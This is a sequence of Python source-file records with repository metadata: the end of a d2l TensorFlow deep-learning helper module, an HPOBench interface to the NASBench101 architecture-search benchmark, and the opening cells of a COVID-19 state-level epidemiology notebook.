g:\n                l = tf.math.reduce_mean(loss(net(X), y))\n\n            dw, db = g.gradient(l, [w, b])\n            trainer_fn([w, b], [dw, db], states, hyperparams)\n            n += X.shape[0]\n            if n % 200 == 0:\n                timer.stop()\n                p = n / X.shape[0]\n                q = p / tf.data.experimental.cardinality(data_iter).numpy()\n                r = (d2l.evaluate_loss(net, data_iter, loss),)\n                animator.add(q, r)\n                timer.start()\n    print(f'loss: {animator.Y[0][-1]:.3f}, {timer.avg():.3f} sec/epoch')\n    return timer.cumsum(), animator.Y[0]\n\n\n# Defined in file: ./chapter_optimization/minibatch-sgd.md\ndef train_concise_ch11(trainer_fn, hyperparams, data_iter, num_epochs=2):\n    # Initialization\n    net = tf.keras.Sequential()\n    net.add(\n        tf.keras.layers.Dense(\n            1, kernel_initializer=tf.random_normal_initializer(stddev=0.01)))\n    optimizer = trainer_fn(**hyperparams)\n    loss = tf.keras.losses.MeanSquaredError()\n    # Note: L2 Loss = 1/2 * MSE Loss. TensorFlow has MSE Loss which is\n    # slightly different from MXNet's L2Loss by a factor of 2. Hence we halve\n    # the loss value to get L2Loss in TensorFlow\n    animator = d2l.Animator(xlabel='epoch', ylabel='loss',\n                            xlim=[0, num_epochs], ylim=[0.22, 0.35])\n    n, timer = 0, d2l.Timer()\n    for _ in range(num_epochs):\n        for X, y in data_iter:\n            with tf.GradientTape() as g:\n                out = net(X)\n                l = loss(y, out) / 2\n                params = net.trainable_variables\n                grads = g.gradient(l, params)\n            optimizer.apply_gradients(zip(grads, params))\n            n += X.shape[0]\n            if n % 200 == 0:\n                timer.stop()\n                p = n / X.shape[0]\n                q = p / tf.data.experimental.cardinality(data_iter).numpy()\n                r = (d2l.evaluate_loss(net, data_iter, loss) / 2,)\n                animator.add(q, r)\n                timer.start()\n    print(f'loss: {animator.Y[0][-1]:.3f}, {timer.avg():.3f} sec/epoch')\n\n\n# Defined in file: ./chapter_computational-performance/hybridize.md\nclass Benchmark:\n    def __init__(self, description='Done'):\n        self.description = description\n\n    def __enter__(self):\n        self.timer = d2l.Timer()\n        return self\n\n    def __exit__(self, *args):\n        print(f'{self.description}: {self.timer.stop():.4f} sec')\n\n\n# Defined in file: ./chapter_computer-vision/bounding-box.md\ndef box_corner_to_center(boxes):\n    \"\"\"Convert from (upper_left, bottom_right) to (center, width, height)\"\"\"\n    x1, y1, x2, y2 = boxes[:, 0], boxes[:, 1], boxes[:, 2], boxes[:, 3]\n    cx = (x1 + x2) / 2\n    cy = (y1 + y2) / 2\n    w = x2 - x1\n    h = y2 - y1\n    boxes = d2l.stack((cx, cy, w, h), axis=-1)\n    return boxes\n\n\ndef box_center_to_corner(boxes):\n    \"\"\"Convert from (center, width, height) to (upper_left, bottom_right)\"\"\"\n    cx, cy, w, h = boxes[:, 0], boxes[:, 1], boxes[:, 2], boxes[:, 3]\n    x1 = cx - 0.5 * w\n    y1 = cy - 0.5 * h\n    x2 = cx + 0.5 * w\n    y2 = cy + 0.5 * h\n    boxes = d2l.stack((x1, y1, x2, y2), axis=-1)\n    return boxes\n\n\n# Defined in file: ./chapter_computer-vision/bounding-box.md\ndef bbox_to_rect(bbox, color):\n    \"\"\"Convert bounding box to matplotlib format.\"\"\"\n    # Convert the bounding box (top-left x, top-left y, bottom-right x,\n    # bottom-right y) format to matplotlib format: ((upper-left x,\n    # upper-left y), width, height)\n    return d2l.plt.Rectangle(xy=(bbox[0], bbox[1]), width=bbox[2] - bbox[0],\n                             height=bbox[3] - bbox[1], fill=False,\n                             edgecolor=color, linewidth=2)\n\n\n# Alias defined in config.ini\nsize = lambda a: tf.size(a).numpy()\n\nreshape = tf.reshape\nones = tf.ones\nzeros = tf.zeros\nmeshgrid = tf.meshgrid\nsin = tf.sin\nsinh = tf.sinh\ncos = tf.cos\ncosh = tf.cosh\ntanh = tf.tanh\nlinspace = tf.linspace\nexp = tf.exp\nnormal = tf.random.normal\nrand = tf.random.uniform\nmatmul = tf.matmul\nreduce_sum = tf.reduce_sum\nargmax = tf.argmax\ntensor = tf.constant\narange = tf.range\nastype = tf.cast\nint32 = tf.int32\nfloat32 = tf.float32\ntranspose = tf.transpose\nconcat = tf.concat\nstack = tf.stack\nabs = tf.abs\neye = tf.eye\nnumpy = lambda x, *args, **kwargs: x.numpy(*args, **kwargs)\n\n", "meta": {"hexsha": "7c4af4155fb31aa9529ac632060bd0e2b6ad875a", "size": 41108, "ext": "py", "lang": "Python", "max_stars_repo_path": "scripts/d21-en/tensorflow/d2l/tensorflow.py", "max_stars_repo_name": "lucmertins/CapDeepLearningBook", "max_stars_repo_head_hexsha": "e5959b552c8716e7fc65a21ae9c13c58509544c1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "scripts/d21-en/tensorflow/d2l/tensorflow.py", "max_issues_repo_name": "lucmertins/CapDeepLearningBook", "max_issues_repo_head_hexsha": "e5959b552c8716e7fc65a21ae9c13c58509544c1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "scripts/d21-en/tensorflow/d2l/tensorflow.py", "max_forks_repo_name": "lucmertins/CapDeepLearningBook", "max_forks_repo_head_hexsha": "e5959b552c8716e7fc65a21ae9c13c58509544c1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.2756052142, "max_line_length": 85, "alphanum_fraction": 0.6318234893, "include": true, "reason": "import numpy", "num_tokens": 10767, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167300566462553, "lm_q2_score": 0.1403362530854946, "lm_q1q2_score": 0.06198273470398198}}
{"text": "\"\"\"\nInterface to NasBench101 for Hyperparameter Optimization and Neural Architecture Search\n\nhttps://github.com/automl/nas_benchmarks\n\nHow to use this benchmark:\n--------------------------\n\nWe recommend using the containerized version of this benchmark.\nIf you want to use this benchmark locally (without running it via the corresponding container),\nyou need to perform the following steps.\n\n1. Download data\n================\n\nThe data will be downloaded automatically.\nNote: However, if you use the benchmark locally, you can specify also the data directory (path to the folder, where the\nnasbench_full.tfrecord is) by hand.\n\nIn this case you can download the data with the following command.\n\n```\nwget https://storage.googleapis.com/nasbench/nasbench_full.tfrecord\n```\nRemark: it is important to select the full tf record and not the 'only_108' record to perform multi-fidelity\noptimization.\n\n2. Clone and install\n====================\n```\ncd /path/to/HPOBench\npip install .[nasbench_101]\n\npip install git+https://github.com/google-research/nasbench.git@master\npip install git+https://github.com/automl/nas_benchmarks.git@master\n```\n\nNotes:\n------\nBenchmarks in NASBench101 only contain epochs 4, 12, 36 and 108.\nQuerying another epoch, e.g. 5, raises an assertion.\n\nChangelog:\n==========\n0.0.4\n* New container release due to a general change in the communication between container and HPOBench.\n  Works with HPOBench >= v0.0.8\n\n0.0.3:\n* Standardize the structure of the meta information\n\n0.0.2:\n* The objective function takes as input now the parameter run_index. Allowed values are Tuple(0-2), 0, 1, 2, None.\n  This value specifies which seeds are used. The user can specify a single index or a tuple with indices.\n  If the user wants to use a randomly drawn run_index, they can simply set the value explicitly to None.\n* Fix a bug in NASCifar10CBenchmark\n\n0.0.1:\n* First implementation\n\n\n\"\"\"\nimport logging\n\nfrom pathlib import Path\nfrom typing import Union, Dict, Any, Tuple, List\n\nimport ConfigSpace as CS\nimport numpy as np\nfrom tabular_benchmarks.nas_cifar10 import NASCifar10\nfrom nasbench import api\nfrom nasbench.api import OutOfDomainError\nfrom nasbench.lib import graph_util\n\nfrom hpobench import config_file\nimport hpobench.util.rng_helper as rng_helper\nfrom hpobench.abstract_benchmark import AbstractBenchmark\nfrom hpobench.util.data_manager import NASBench_101DataManager\n\n__version__ = '0.0.4'\nlogger = logging.getLogger('NasBench101')\n\nMAX_EDGES = 9\nVERTICES = 7\nDEFAULT_API_FILE = config_file.data_dir / \"nasbench_101\"\n\n\nclass NASCifar10BaseBenchmark(AbstractBenchmark):\n    def __init__(self, benchmark: NASCifar10,\n                 data_path: Union[Path, str, None] = None,\n                 rng: Union[np.random.RandomState, int, None] = None, **kwargs):\n        \"\"\"\n        Baseclass for the tabular benchmarks https://github.com/automl/nas_benchmarks/tree/master/tabular_benchmarks.\n        Please install the benchmark first. Place the data under ``data_path``.\n\n        Parameters\n        ----------\n        benchmark : NASCifar10\n            Type of the benchmark to use. Don't call this class directly. Instantiate via subclasses (see below).\n        data_path : str, Path, None\n            Path to the folder, which contains the downloaded file nasbench_full.tfrecord.\n        rng : np.random.RandomState, int, None\n            Random seed for the benchmarks\n        \"\"\"\n\n        super(NASCifar10BaseBenchmark, self).__init__(rng=rng)\n\n        self.benchmark = benchmark\n        self.data_path = data_path\n\n    def _query_benchmark(self, config: Dict, run_index: int, budget: int = 108) -> Dict:\n        raise NotImplementedError\n\n    # pylint: disable=arguments-differ\n    @AbstractBenchmark.check_parameters\n    def objective_function(self, configuration: Union[CS.Configuration, Dict],\n                           fidelity: Union[CS.Configuration, Dict, None] = None,\n                           run_index: Union[int, Tuple, None] = (0, 1, 2),\n                           rng: Union[np.random.RandomState, int, None] = None,\n                           **kwargs) -> Dict:\n        \"\"\"\n        Query the NAS-benchmark using a given configuration and a epoch (=budget).\n\n        Parameters\n        ----------\n        configuration : Dict, CS.Configuration\n        fidelity: Dict, None\n            Fidelity parameters, check get_fidelity_space(). Uses default (max) value if None.\n        run_index : int, Tuple, None\n            The nas benchmark has for each configuration-budget-pair results from 3 different runs.\n            - If multiple `run_id`s are given as Tuple, the benchmark returns the mean over the given runs.\n            - By default (no parameter is specified) all runs are used. A specific run can be chosen by setting the\n              `run_id` to a value from [0, 3]. While the performance is averaged across the `run_index`, the costs are\n              the sum of the runtime per `run_index`.\n            - When this value is explicitly set to `None`, the function will use a random seed.\n        rng : np.random.RandomState, int, None\n            Random seed to use in the benchmark.\n\n            To prevent overfitting on a single seed, it is possible to pass a\n            parameter ``rng`` as 'int' or 'np.random.RandomState' to this function.\n            If this parameter is not given, the default random state is used.\n        kwargs\n\n        Returns\n        -------\n        Dict -\n            function_value : validation error\n            cost : runtime\n            info : Dict\n                fidelity : used fidelities in this evaluation\n        \"\"\"\n        self.rng = rng_helper.get_rng(rng, self_rng=self.rng)\n\n        if isinstance(run_index, int):\n            assert 0 <= run_index <= 2, f'run_index must be in [0, 2], not {run_index}'\n            run_index = (run_index, )\n        elif isinstance(run_index, (Tuple, List)):\n            assert 0 < len(run_index) <= 3, 'run_index must not be empty'\n            assert min(run_index) >= 0 and max(run_index) <= 2, \\\n                f'all run_index values must be in [0, 2], but were {run_index}'\n            if len(set(run_index)) != len(run_index):\n                logger.debug('There are some values more than once in the run_index. We remove the redundant entries.')\n                run_index = tuple(set(run_index))\n        elif run_index is None:\n            logger.debug('The run index is explicitly set to None! A random seed will be selected.')\n            run_index = tuple(self.rng.choice((0, 1, 2), size=1))\n        else:\n            raise ValueError(f'run index must be one of Tuple or Int, but was {type(run_index)}')\n\n        self.benchmark.reset_tracker()\n\n        # Returns (valid_accuracy: 0, runtime: 0) if it is invalid, e.g. config not valid or\n        # budget not in 4 12 36 108\n        train_accuracies = []\n        valid_accuracies = []\n        test_accuracies = []\n        training_times = []\n        additional = {}\n\n        for run_id in run_index:\n            data = self._query_benchmark(config=configuration, budget=fidelity['budget'], run_index=run_id)\n\n            train_accuracies.append(data['train_accuracy'])\n            valid_accuracies.append(data['validation_accuracy'])\n            test_accuracies.append(data['test_accuracy'])\n            training_times.append(data['training_time'])\n\n            # Since those information are the same for all run ids, just store one of them.\n            additional = {'trainable_parameters': data['trainable_parameters'],\n                          'module_operations': data['module_operations']}\n\n        return {'function_value': float(1 - np.mean(valid_accuracies)),\n                'cost': float(np.sum(training_times)),\n                'info': {'fidelity': fidelity,\n                         'train_accuracies': train_accuracies,\n                         'valid_accuracies': valid_accuracies,\n                         'test_accuracies': test_accuracies,\n                         'training_times': training_times,\n                         'data': additional\n                         }\n                }\n\n    @AbstractBenchmark.check_parameters\n    def objective_function_test(self, configuration: Union[Dict, CS.Configuration],\n                                fidelity: Union[CS.Configuration, Dict, None] = None,\n                                rng: Union[np.random.RandomState, int, None] = None,\n                                **kwargs) -> Dict:\n        \"\"\"\n        Validate a configuration on the maximum available budget.\n\n        Parameters\n        ----------\n        configuration : Dict, CS.Configuration\n        fidelity: Dict, None\n            Fidelity parameters, check get_fidelity_space(). Uses default (max) value if None.\n        rng : np.random.RandomState, int, None\n            Random seed to use in the benchmark. To prevent overfitting on a single seed, it is\n            possible to pass a parameter ``rng`` as 'int' or 'np.random.RandomState' to this\n            function. If this parameter is not given, the default random state is used.\n        kwargs\n\n        Returns\n        -------\n        Dict -\n            function_value : test error\n            cost : runtime\n            info : Dict\n                fidelity : used fidelities in this evaluation\n        \"\"\"\n\n        result = self.objective_function(configuration=configuration, fidelity=fidelity, run_index=(0, 1, 2), rng=rng)\n        result['function_value'] = float(1 - np.mean(result['info']['test_accuracies']))\n\n        return result\n\n    @staticmethod\n    def get_configuration_space(seed: Union[int, None] = None) -> CS.ConfigurationSpace:\n        raise NotImplementedError\n\n    @staticmethod\n    def get_meta_information() -> Dict:\n        \"\"\" Returns the meta information for the benchmark \"\"\"\n        return {'name': 'Tabular Benchmarks for Hyperparameter Optimization and Neural Architecture Search',\n                'references': ['@article{klein2019tabular,'\n                               'title   = {Tabular benchmarks for joint architecture and hyperparameter optimization},'\n                               'author  = {Klein, Aaron and Hutter, Frank},'\n                               'journal = {arXiv preprint arXiv:1905.04970},'\n                               'year    = {2019}}',\n                               'https://arxiv.org/abs/1905.04970',\n                               ],\n                'code': 'https://github.com/automl/nas_benchmarks',\n                }\n\n    @staticmethod\n    def _get_configuration_space(benchmark: Any, seed: Union[int, None] = None) -> CS.ConfigurationSpace:\n        \"\"\" Helper function to pass a seed to the configuration space \"\"\"\n        seed = seed if seed is not None else np.random.randint(1, 100000)\n        cs = benchmark.get_configuration_space()\n        cs.seed(seed)\n        return cs\n\n    @staticmethod\n    def get_fidelity_space(seed: Union[int, None] = None) -> CS.ConfigurationSpace:\n        \"\"\"\n        Creates a ConfigSpace.ConfigurationSpace containing all fidelity parameters for\n        the NAS Benchmark 101.\n\n        Parameters\n        ----------\n        seed : int, None\n            Fixing the seed for the ConfigSpace.ConfigurationSpace\n\n        Returns\n        -------\n        ConfigSpace.ConfigurationSpace\n        \"\"\"\n        seed = seed if seed is not None else np.random.randint(1, 100000)\n        fidel_space = CS.ConfigurationSpace(seed=seed)\n\n        fidel_space.add_hyperparameters([\n            CS.OrdinalHyperparameter('budget', sequence=[4, 12, 36, 108], default_value=108)\n        ])\n\n        return fidel_space\n\n    @staticmethod\n    def _try_download_api_file(save_to: Union[Path, str, None]):\n        data_manager = NASBench_101DataManager(save_to)\n        data_manager.download()\n        return data_manager.save_dir\n\n\nclass NASCifar10ABenchmark(NASCifar10BaseBenchmark):\n    def __init__(self, data_path: Union[Path, str, None] = None,\n                 rng: Union[np.random.RandomState, int, None] = None, **kwargs):\n\n        data_path = self._try_download_api_file(data_path)\n\n        from tabular_benchmarks.nas_cifar10 import NASCifar10A\n        benchmark = NASCifar10A(data_dir=str(data_path), multi_fidelity=True)\n        super(NASCifar10ABenchmark, self).__init__(benchmark=benchmark, data_path=data_path, rng=rng, **kwargs)\n\n    @staticmethod\n    def get_configuration_space(seed: Union[int, None] = None) -> CS.ConfigurationSpace:\n        \"\"\"\n        Return the configuration space for the NASCifar10A benchmark.\n        Parameters\n        ----------\n        seed : int, None\n            Random seed for the configuration space.\n\n        Returns\n        -------\n            CS.ConfigurationSpace - Containing the benchmark's hyperparameter\n        \"\"\"\n\n        from tabular_benchmarks.nas_cifar10 import NASCifar10A\n        return NASCifar10BBenchmark._get_configuration_space(NASCifar10A, seed)\n\n    def _query_benchmark(self, config: Dict, run_index: int, budget: int = 108) -> Dict:\n        \"\"\"\n        Copied from the 'objective_function' from nas_cifar10.py\n        We adapted the file in such a way, that the complete result is returned. The original implementation returns\n        only the validation error. Now, it can also return the test loss for a given configuration.\n\n        Parameters\n        ----------\n        config : Dict\n        run_index : int\n            Specifies the seed to use. Can be one of 0, 1, 2.\n        budget : int\n            The number of epochs. Must be one of: 4 12 36 108. Otherwise a accuracy of 0 is returned.\n\n        Returns\n        -------\n        Dict\n        \"\"\"\n\n        failure = {\"test_accuracy\": 0, \"train_accuracy\": 0, \"validation_accuracy\": 0, \"training_time\": 0,\n                   \"info\": \"failure\", \"trainable_parameters\": 0, \"module_operations\": 0}\n\n        if self.benchmark.multi_fidelity is False:\n            assert budget == 108\n\n        matrix = np.zeros([VERTICES, VERTICES], dtype=np.int8)\n        idx = np.triu_indices(matrix.shape[0], k=1)\n        for i in range(VERTICES * (VERTICES - 1) // 2):\n            row = idx[0][i]\n            col = idx[1][i]\n            matrix[row, col] = config[\"edge_%d\" % i]\n\n        # if not graph_util.is_full_dag(matrix) or graph_util.num_edges(matrix) > MAX_EDGES:\n        if graph_util.num_edges(matrix) > MAX_EDGES:\n            self.benchmark.record_invalid(config, 1, 1, 0)\n            return failure\n\n        labeling = [config[\"op_node_%d\" % i] for i in range(5)]\n        labeling = ['input'] + list(labeling) + ['output']\n        model_spec = api.ModelSpec(matrix, labeling)\n\n        try:\n            data = modified_query(self.benchmark, run_index=run_index, model_spec=model_spec, epochs=budget)\n        except api.OutOfDomainError:\n            self.benchmark.record_invalid(config, 1, 1, 0)\n            return failure\n\n        self.benchmark.record_valid(config, data, model_spec)\n\n        # We dont need this field.\n        data.pop('module_adjacency')\n\n        return data\n\n\nclass NASCifar10BBenchmark(NASCifar10BaseBenchmark):\n    def __init__(self, data_path: Union[Path, str, None] = None,\n                 rng: Union[np.random.RandomState, int, None] = None, **kwargs):\n\n        data_path = self._try_download_api_file(data_path)\n\n        from tabular_benchmarks.nas_cifar10 import NASCifar10B\n        benchmark = NASCifar10B(data_dir=str(data_path), multi_fidelity=True)\n        super(NASCifar10BBenchmark, self).__init__(benchmark=benchmark, data_path=data_path, rng=rng, **kwargs)\n\n    @staticmethod\n    def get_configuration_space(seed: Union[int, None] = None) -> CS.ConfigurationSpace:\n        \"\"\"\n        Return the configuration space for the NASCifar10B benchmark.\n        Parameters\n        ----------\n        seed : int, None\n            Random seed for the configuration space.\n\n        Returns\n        -------\n            CS.ConfigurationSpace - Containing the benchmark's hyperparameter\n        \"\"\"\n\n        from tabular_benchmarks.nas_cifar10 import NASCifar10B\n        return NASCifar10BBenchmark._get_configuration_space(NASCifar10B, seed)\n\n    def _query_benchmark(self, config: Dict, run_index: int, budget: int = 108) -> Dict:\n        \"\"\"\n        Copied from the 'objective_function' from nas_cifar10.py\n        We adapted the file in such a way, that the complete result is returned. The original implementation returns\n        only the validation error. Now, it can also return the test loss for a given configuration.\n\n        Parameters\n        ----------\n        config : Dict\n        budget : int\n            The number of epochs. Must be one of: 4 12 36 108. Otherwise a accuracy of 0 is returned.\n\n        Returns\n        -------\n        Dict\n        \"\"\"\n        failure = {\"test_accuracy\": 0, \"train_accuracy\": 0, \"validation_accuracy\": 0, \"training_time\": 0,\n                   \"info\": \"failure\", \"trainable_parameters\": 0, \"module_operations\": 0}\n\n        if self.benchmark.multi_fidelity is False:\n            assert budget == 108\n\n        bitlist = [0] * (VERTICES * (VERTICES - 1) // 2)\n        for i in range(MAX_EDGES):\n            bitlist[config[\"edge_%d\" % i]] = 1\n        out = 0\n        for bit in bitlist:\n            out = (out << 1) | bit\n\n        matrix = np.fromfunction(graph_util.gen_is_edge_fn(out),\n                                 (VERTICES, VERTICES),\n                                 dtype=np.int8)\n        # if not graph_util.is_full_dag(matrix) or graph_util.num_edges(matrix) > MAX_EDGES:\n        if graph_util.num_edges(matrix) > MAX_EDGES:\n            self.benchmark.record_invalid(config, 1, 1, 0)\n            return failure\n\n        labeling = [config[\"op_node_%d\" % i] for i in range(5)]\n        labeling = ['input'] + list(labeling) + ['output']\n        model_spec = api.ModelSpec(matrix, labeling)\n        try:\n            data = modified_query(self.benchmark, run_index=run_index, model_spec=model_spec, epochs=budget)\n        except api.OutOfDomainError:\n            self.benchmark.record_invalid(config, 1, 1, 0)\n            return failure\n\n        self.benchmark.record_valid(config, data, model_spec)\n\n        # We dont need this field.\n        data.pop('module_adjacency')\n\n        return data\n\n\nclass NASCifar10CBenchmark(NASCifar10BaseBenchmark):\n    def __init__(self, data_path: Union[Path, str, None] = None,\n                 rng: Union[np.random.RandomState, int, None] = None, **kwargs):\n\n        data_path = self._try_download_api_file(data_path)\n\n        from tabular_benchmarks.nas_cifar10 import NASCifar10C\n        benchmark = NASCifar10C(data_dir=str(data_path), multi_fidelity=True)\n        super(NASCifar10CBenchmark, self).__init__(benchmark=benchmark, data_path=data_path, rng=rng, **kwargs)\n\n    @staticmethod\n    def get_configuration_space(seed: Union[int, None] = None) -> CS.ConfigurationSpace:\n        \"\"\"\n        Return the configuration space for the NASCifar10C benchmark.\n        Parameters\n        ----------\n        seed : int, None\n            Random seed for the configuration space.\n\n        Returns\n        -------\n            CS.ConfigurationSpace - Containing the benchmark's hyperparameter\n        \"\"\"\n\n        from tabular_benchmarks.nas_cifar10 import NASCifar10C\n        return NASCifar10BBenchmark._get_configuration_space(NASCifar10C, seed)\n\n    def _query_benchmark(self, config: Dict, run_index: int, budget: int = 108) -> Dict:\n        \"\"\"\n        Copied from the 'objective_function' from nas_cifar10.py\n        We adapted the file in such a way, that the complete result is returned. The original implementation returns\n        only the validation error. Now, it can also return the test loss for a given configuration.\n\n        Parameters\n        ----------\n        config : Dict\n        budget : int\n            The number of epochs. Must be one of: 4 12 36 108. Otherwise a accuracy of 0 is returned.\n\n        Returns\n        -------\n        Dict\n        \"\"\"\n        # Unify the return value to a dictionary.\n        failure = {\"test_accuracy\": 0, \"train_accuracy\": 0, \"validation_accuracy\": 0, \"training_time\": 0,\n                   \"info\": \"failure\", \"trainable_parameters\": 0, \"module_operations\": 0}\n\n        if self.benchmark.multi_fidelity is False:\n            assert budget == 108\n\n        edge_prob = []\n        for i in range(VERTICES * (VERTICES - 1) // 2):\n            edge_prob.append(config[\"edge_%d\" % i])\n\n        idx = np.argsort(edge_prob)[::-1][:config[\"num_edges\"]]\n        binay_encoding = np.zeros(len(edge_prob))\n        binay_encoding[idx] = 1\n        matrix = np.zeros([VERTICES, VERTICES], dtype=np.int8)\n        idx = np.triu_indices(matrix.shape[0], k=1)\n        for i in range(VERTICES * (VERTICES - 1) // 2):\n            row = idx[0][i]\n            col = idx[1][i]\n            matrix[row, col] = binay_encoding[i]\n\n        if graph_util.num_edges(matrix) > MAX_EDGES:\n            self.benchmark.record_invalid(config, 1, 1, 0)\n            return failure\n\n        labeling = [config[\"op_node_%d\" % i] for i in range(5)]\n        labeling = ['input'] + list(labeling) + ['output']\n        model_spec = api.ModelSpec(matrix, labeling)\n        try:\n            data = modified_query(self.benchmark, run_index=run_index, model_spec=model_spec, epochs=budget)\n        except api.OutOfDomainError:\n            self.benchmark.record_invalid(config, 1, 1, 0)\n            return failure\n\n        self.benchmark.record_valid(config, data, model_spec)\n\n        # We dont need this field.\n        data.pop('module_adjacency')\n\n        return data\n\n\ndef modified_query(benchmark, model_spec, run_index: int, epochs=108, stop_halfway=False):\n    \"\"\"\n    NOTE:\n    Copied from https://github.com/google-research/nasbench/blob/b94247037ee470418a3e56dcb83814e9be83f3a8/nasbench/api.py#L204-L263  # noqa\n    We changed the function in such a way that we now can specified the run index (index of the evaluation) which was\n    in the original code sampled randomly.\n\n    OLD DOCSTRING:\n    Fetch one of the evaluations for this model spec.\n\n    Each call will sample one of the config['num_repeats'] evaluations of the\n    model. This means that repeated queries of the same model (or isomorphic\n    models) may return identical metrics.\n\n    This function will increment the budget counters for benchmarking purposes.\n    See self.training_time_spent, and self.total_epochs_spent.\n\n    This function also allows querying the evaluation metrics at the halfway\n    point of training using stop_halfway. Using this option will increment the\n    budget counters only up to the halfway point.\n\n    Args:\n      model_spec: ModelSpec object.\n      epochs: number of epochs trained. Must be one of the evaluated number of\n        epochs, [4, 12, 36, 108] for the full dataset.\n      stop_halfway: if True, returned dict will only contain the training time\n        and accuracies at the halfway point of training (num_epochs/2).\n        Otherwise, returns the time and accuracies at the end of training\n        (num_epochs).\n\n    Returns:\n      dict containing the evaluated data for this object.\n\n    Raises:\n      OutOfDomainError: if model_spec or num_epochs is outside the search space.\n    \"\"\"\n    if epochs not in benchmark.dataset.valid_epochs:\n        raise OutOfDomainError('invalid number of epochs, must be one of %s'\n                               % benchmark.dataset.valid_epochs)\n\n    fixed_stat, computed_stat = benchmark.dataset.get_metrics_from_spec(model_spec)\n\n    # MODIFICATION: Use the run index instead of the sampled one.\n    # sampled_index = random.randint(0, self.config['num_repeats'] - 1)\n    computed_stat = computed_stat[epochs][run_index]\n\n    data = {}\n    data['module_adjacency'] = fixed_stat['module_adjacency']\n    data['module_operations'] = fixed_stat['module_operations']\n    data['trainable_parameters'] = fixed_stat['trainable_parameters']\n\n    if stop_halfway:\n        data['training_time'] = computed_stat['halfway_training_time']\n        data['train_accuracy'] = computed_stat['halfway_train_accuracy']\n        data['validation_accuracy'] = computed_stat['halfway_validation_accuracy']\n        data['test_accuracy'] = computed_stat['halfway_test_accuracy']\n    else:\n        data['training_time'] = computed_stat['final_training_time']\n        data['train_accuracy'] = computed_stat['final_train_accuracy']\n        data['validation_accuracy'] = computed_stat['final_validation_accuracy']\n        data['test_accuracy'] = computed_stat['final_test_accuracy']\n\n    benchmark.dataset.training_time_spent += data['training_time']\n    if stop_halfway:\n        benchmark.dataset.total_epochs_spent += epochs // 2\n    else:\n        benchmark.dataset.total_epochs_spent += epochs\n\n    return data\n", "meta": {"hexsha": "f7ee1b204960282ec8453becd6a54b9a7d679a0a", "size": 24638, "ext": "py", "lang": "Python", "max_stars_repo_path": "hpobench/benchmarks/nas/nasbench_101.py", "max_stars_repo_name": "pfistfl/HPOBench", "max_stars_repo_head_hexsha": "a7ad8807bd2e058ff99f703ad057b64ecadd4b66", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 78, "max_stars_repo_stars_event_min_datetime": "2017-01-14T14:25:55.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-30T22:57:14.000Z", "max_issues_repo_path": "hpobench/benchmarks/nas/nasbench_101.py", "max_issues_repo_name": "pfistfl/HPOBench", "max_issues_repo_head_hexsha": "a7ad8807bd2e058ff99f703ad057b64ecadd4b66", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 84, "max_issues_repo_issues_event_min_datetime": "2016-11-24T15:19:20.000Z", "max_issues_repo_issues_event_max_datetime": "2020-11-09T11:34:19.000Z", "max_forks_repo_path": "hpobench/benchmarks/nas/nasbench_101.py", "max_forks_repo_name": "pfistfl/HPOBench", "max_forks_repo_head_hexsha": "a7ad8807bd2e058ff99f703ad057b64ecadd4b66", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 31, "max_forks_repo_forks_event_min_datetime": "2016-11-29T19:56:06.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-10T04:13:33.000Z", "avg_line_length": 40.3901639344, "max_line_length": 139, "alphanum_fraction": 0.639702898, "include": true, "reason": "import numpy", "num_tokens": 5621, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881506183194, "lm_q2_score": 0.12592276975547595, "lm_q1q2_score": 0.06197769516668415}}
{"text": "# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nfrom IPython import get_ipython\n\n# %%\nfrom IPython import get_ipython\n\n# %% [markdown]\n#  # COVID-19 Epidemiology Models\n# %% [markdown]\n#  First, some preliminary imports. You may need to pip install `holoviews` and `GitPython`. For `holoviews`, some extras might be needed (see https://holoviews.org/install.html).\n\n# %%\nimport pandas as pd\nimport numpy as np\nimport scipy.integrate\nimport matplotlib.pyplot as plt\n\nimport bokeh.io\nimport bokeh.application\nimport bokeh.application.handlers\nimport bokeh.models\n\n\nimport holoviews as hv\n\nbokeh.io.output_notebook()\nhv.extension('bokeh')\n\n# %% [markdown]\n#  Let's load the data from the relevant folder. If this data doesn't exist for you, you'll need to run the `processing/raw_data_processing/daily_refresh.sh` script (which may require `pip install us`).\n\n# %%\nimport git\n\nrepo = git.Repo(\"./\", search_parent_directories=True)\nhomedir = repo.working_dir\ndatadir = f\"{homedir}/data/us/\"\n\n# %% [markdown]\n#  Load the US data by state (50 states, but we also make a bunch of other countries pay taxes without getting the right to vote (Puerto Rico, Guam, etc.), so we include their data too).\n#  This results in more than 50 \"regions\".\n\n# %%\ndf = pd.read_csv(datadir + 'covid/nyt_us_states.csv')\n\n# %% [markdown]\n# We want to count days as integers from some starting point.\n\n# %%\ndf['date_processed'] = pd.to_datetime(df['date'].values)\ndf['date_processed'] = (df['date_processed'] - df['date_processed'].min()) / np.timedelta64(1, 'D')\n\n# %% [markdown]\n# Now we import the population for each state, and add that information correctly to the Pandas \"dataframe\".\n\n# %%\npopulations = pd.read_csv(datadir + 'demographics/state_populations_augmented.csv')\ndef get_population(region):\n    return populations[populations['state'] == region]['population'].values[0]\n\ndef get_ticker(state):\n    state_to_ticker = dict([('CA','California'),('TX','Texas'),('FL','Florida'),('NY','New York'),('PA','Pennsylvania'),('IL','Illinois'),('OH','Ohio'),('GA','Georgia'),('NC','North Carolina'),\n                           ('MI','Michigan'),('NJ','New Jersey'),('VA','Virginia'),('WA','Washington'),('AZ','Arizona'),('MA','Massachusetts'),('TN','Tennessee'),('IN','Indiana'),('MO','Missouri'),\n                           